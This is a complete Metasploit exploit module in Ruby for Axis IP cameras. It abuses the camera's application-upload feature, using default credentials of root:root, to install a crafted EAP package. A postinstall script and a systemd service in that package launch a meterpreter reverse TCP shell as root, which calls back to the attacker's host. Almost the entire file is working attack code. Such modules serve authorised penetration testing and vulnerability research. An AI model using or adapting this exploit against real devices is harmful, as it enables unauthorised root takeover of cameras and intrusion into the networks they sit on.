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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Axis IP Camera Application Upload',
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        'Description' => %q{
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          This module exploits the "Apps" feature in Axis IP cameras. The feature allows third party
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          developers to upload and execute 'eap' applications on the device. The system does not validate
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          the application comes from a trusted source, so a malicious attacker can upload and execute
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          arbitrary code. The issue has no CVE, although the technique was made public in 2018.
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          This module uploads and executes stageless meterpreter as `root`. Uploading the application
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          requires valid credentials. The default administrator credentials used to be `root:root` but
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          newer firmware versions force users to provide a new password for the `root` user.
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          The module was tested on an Axis M3044-V using the latest firmware (9.80.3.8: December 2021).
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          Although all modules that support the "Apps" feature are presumed to be vulnerable.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'jbaines-r7' # Discovery and Metasploit module
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        ],
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        'References' => [
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          [ 'URL', 'https://www.tenable.com/blog/tenable-research-advisory-axis-camera-app-malicious-package-distribution-weakness'],
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          [ 'URL', 'https://www.axis.com/support/developer-support/axis-camera-application-platform']
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        ],
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        'DisclosureDate' => '2018-04-12',
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        'Platform' => ['linux'],
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        'Arch' => [ARCH_ARMLE],
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        'Privileged' => true,
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        'Targets' => [
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          [
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            'Linux Dropper',
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            {
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              'Platform' => 'linux',
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              'Arch' => [ARCH_ARMLE],
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              'Type' => :linux_dropper,
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              'Payload' => {},
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              'DefaultOptions' => {
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                'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' # Use stagless payloads until issue 16107 gets addressed to fix the ARMLE stager
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              }
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            }
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          ]
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        ],
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        'DefaultTarget' => 0,
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        'DefaultOptions' => {
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          'RPORT' => 80,
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          'SSL' => false
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options([
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      OptString.new('TARGETURI', [true, 'Base path', '/']),
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      OptString.new('USERNAME', [true, 'The username to authenticate with', 'root']),
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      OptString.new('PASSWORD', [true, 'The password to authenticate with', 'root'])
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    ])
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  end
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  # Check function will attempt to verify:
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  #
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  # 1. The provided credentials work for authentication
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  # 2. The remote target is an axis camera
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  # 3. The applications API exists.
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  #
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  def check
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    # grab the brand/model. Shouldn't require authentication.
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, '/axis-cgi/prod_brand_info/getbrand.cgi')
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    })
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    return CheckCode::Unknown unless res && (res.code == 200)
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    body_json = res.get_json_document
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    return CheckCode::Unknown if body_json.empty? || body_json.dig('Brand', 'ProdShortName').nil?
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    # The brand / model are now known
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    check_comment = "The target reports itself to be a '#{body_json.dig('Brand', 'ProdShortName')}'."
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    # check to see if the applications api exists (also tests credentials)
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    res = send_request_cgi({
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      'method' => 'GET',
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      'username' => datastore['USERNAME'],
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      'password' => datastore['PASSWORD'],
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      'uri' => normalize_uri(target_uri.path, '/axis-cgi/applications/list.cgi')
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    })
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    # A strange edge case where there is no response... respond detected
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    return CheckCode::Detected unless res
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    # Respond safe if credentials fail, to prevent the exploit from running
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    return CheckCode::Safe('The user provided credentials did not work.') if res.code == 401
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    # Assume any non-200 means the API doesn't exist
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    return CheckCode::Safe(check_comment) if res.code != 200
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    # This checks for an XML response which I'm not sure is smart considering most of the device
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    # does JSON replies... the concerning being that this response has changed in newer models
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    return CheckCode::Safe(check_comment) unless res.body.include?('<reply result="ok">') != 200
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    CheckCode::Appears(check_comment)
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  end
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  # Creates a malicious "eap" application. The package application will gain execution
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  # through the postinstall script. The script, which executes as a systemd oneshot, will
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  # create and execute a new service for the payload. We have to do this because the oneshot
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  # child processes will be terminated when the main binary exits. Executing the payload from
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  # a new service gets around that issue.
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  #
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  # The eap registers as a "lua" apptype, because the binary version (armv7hf) gets checked
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  # for some required libraries whereas the lua version is just accepted.
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  #
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  # The construction of the eap follows this pattern:
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  # * tar -cf exploit payload package.conf postinstall.sh payload.service
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  # * gzip exploit
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  # * mv exploit.gz exploit.eap
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  def create_eap(payload, appname)
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    print_status("Creating an application package named: #{appname}")
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    script_name = "#{Rex::Text.rand_text_alpha_lower(3..8)}.sh"
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    package_conf = "PACKAGENAME='#{Rex::Text.rand_text_alpha(4..14)}'\n" \
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      "APPTYPE='lua'\n" \
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      "APPNAME='#{appname}'\n" \
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      "APPID='48#{Rex::Text.rand_text_numeric(3)}'\n" \
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      "APPMAJORVERSION='#{Rex::Text.rand_text_numeric(1)}'\n" \
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      "APPMINORVERSION='#{Rex::Text.rand_text_numeric(1..2)}'\n" \
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      "APPMICROVERSION='#{Rex::Text.rand_text_numeric(1..3)}'\n" \
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      "APPGRP='root'\n" \
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      "APPUSR='root'\n" \
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      "POSTINSTALLSCRIPT='#{script_name}'\n" \
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      "STARTMODE='respawn'\n"
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    # this sync, sleep, cp, sleep pattern is not optimal, but the underlying
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    # filesystem was taking time to catch up to the exploit (and mounting and
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    # unmounting itself which is just weird) and this seemed like a reasonable,
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    # if not hacky, way to give it a chance to catch up. Seems to work well.
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    start_service =
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      "#!/bin/sh\n"\
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      "\nsync\n"\
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      "\nsleep 2\n"\
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      "\ncp ./#{appname}.service /etc/systemd/system/\n" \
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      "\nsleep 2\n"\
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      "\nsystemctl start #{appname}\n"
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    # only register the service file for deletion. Everything else will be
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    # deleted by the uninstall function called later.
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    register_file_for_cleanup("/etc/systemd/system/#{appname}.service")
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    service =
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      "[Unit]\n"\
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      "Description=\n"\
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      "[Service]\n"\
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      "Type=simple\n"\
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      "User=root\n"\
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      "ExecStart=/usr/local/packages/#{appname}/#{appname}\n"\
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      "\n"\
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      "[Install]\n"\
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      "WantedBy=multi-user.target\n"
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    tarfile = StringIO.new
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    Rex::Tar::Writer.new tarfile do |tar|
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      tar.add_file('package.conf', 0o644) do |io|
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        io.write package_conf
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      end
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      tar.add_file(script_name.to_s, 0o755) do |io|
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        io.write start_service
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      end
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      tar.add_file(appname.to_s, 0o755) do |io|
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        io.write payload
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      end
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      tar.add_file("#{appname}.service", 0o644) do |io|
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        io.write service
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      end
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    end
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    tarfile.rewind
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    tarfile.close
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    Rex::Text.gzip(tarfile.string)
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  end
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  # Upload the malicious EAP application for a root shell. Always attempt to uninstall the application
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  def exploit
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    appname = Rex::Text.rand_text_alpha_lower(3)
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    eap = create_eap(payload.encoded, appname)
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    # Instruct the application to install the constructed EAP
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    multipart_form = Rex::MIME::Message.new
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    multipart_form.add_part('{"apiVersion":"1.0","method":"install"}', 'application/json', nil, 'form-data; name="data"; filename="blob"')
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    multipart_form.add_part(eap, 'application/octet-stream', 'binary', "form-data; name=\"fileData\"; filename=\"#{appname}.eap\"")
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    install_endpoint = normalize_uri(target_uri.path, '/axis-cgi/packagemanager.cgi')
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    print_status("Sending an application upload request to #{install_endpoint}")
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    res = send_request_cgi({
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      'method' => 'POST',
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      'username' => datastore['USERNAME'],
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      'password' => datastore['PASSWORD'],
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      'uri' => install_endpoint,
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      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
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      'data' => multipart_form.to_s
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    })
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    # check for successful installation
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    fail_with(Failure::Disconnected, 'Connection failed') unless res
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    fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 OK: #{res.code}") unless res.code == 200
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    body_json = res.get_json_document
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    fail_with(Failure::UnexpectedReply, 'Missing JSON response') if body_json.empty?
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    # {"apiVersion"=>"1.4", "method"=>"install", "error"=>{"code"=>60, "message"=>"Failed to install acap"}}
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    fail_with(Failure::UnexpectedReply, 'The target responded with a JSON error') unless body_json['error'].nil?
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    # syncing the unstaged meterpreter payload seems to take a little bit for the poor little
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    # embedded filesystem. Give it a chance to sync up before we try to remove the application.
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    print_good('Application installed. Pausing 5 seconds to let the filesystem sync.')
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    sleep(5)
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  ensure
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    uninstall_endpoint = normalize_uri(target_uri.path, '/axis-cgi/applications/control.cgi')
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    print_status("Sending a delete application request to #{uninstall_endpoint}")
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    res = send_request_cgi({
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      'method' => 'GET',
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      'username' => datastore['USERNAME'],
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      'password' => datastore['PASSWORD'],
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      'uri' => uninstall_endpoint,
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      'vars_get' => {
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        'action' => 'remove',
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        'package' => appname.to_s
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      }
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    })
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    # instructions for manually removal if the above fails. That should never happen, but best be safe.
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    removal_instructions = 'To manually remove the application, log in to the system and then select the apps tab. ' \
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      "Find the app named '#{appname}' and select it. Click the trash bin icon to uninstall it."
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    # check for successful removal
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    print_bad("The server did not respond to the application deletion request. #{removal_instructions}") unless res
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    print_bad("The server did not respond with 200 OK to the application deletion request. #{removal_instructions}") unless res.code == 200
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    print_bad("The application deletion response did not contain the expected body. #{removal_instructions}") unless res.body.include?('OK')
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    print_good("The application #{appname} was successfully removed from the target!")
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  end
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end
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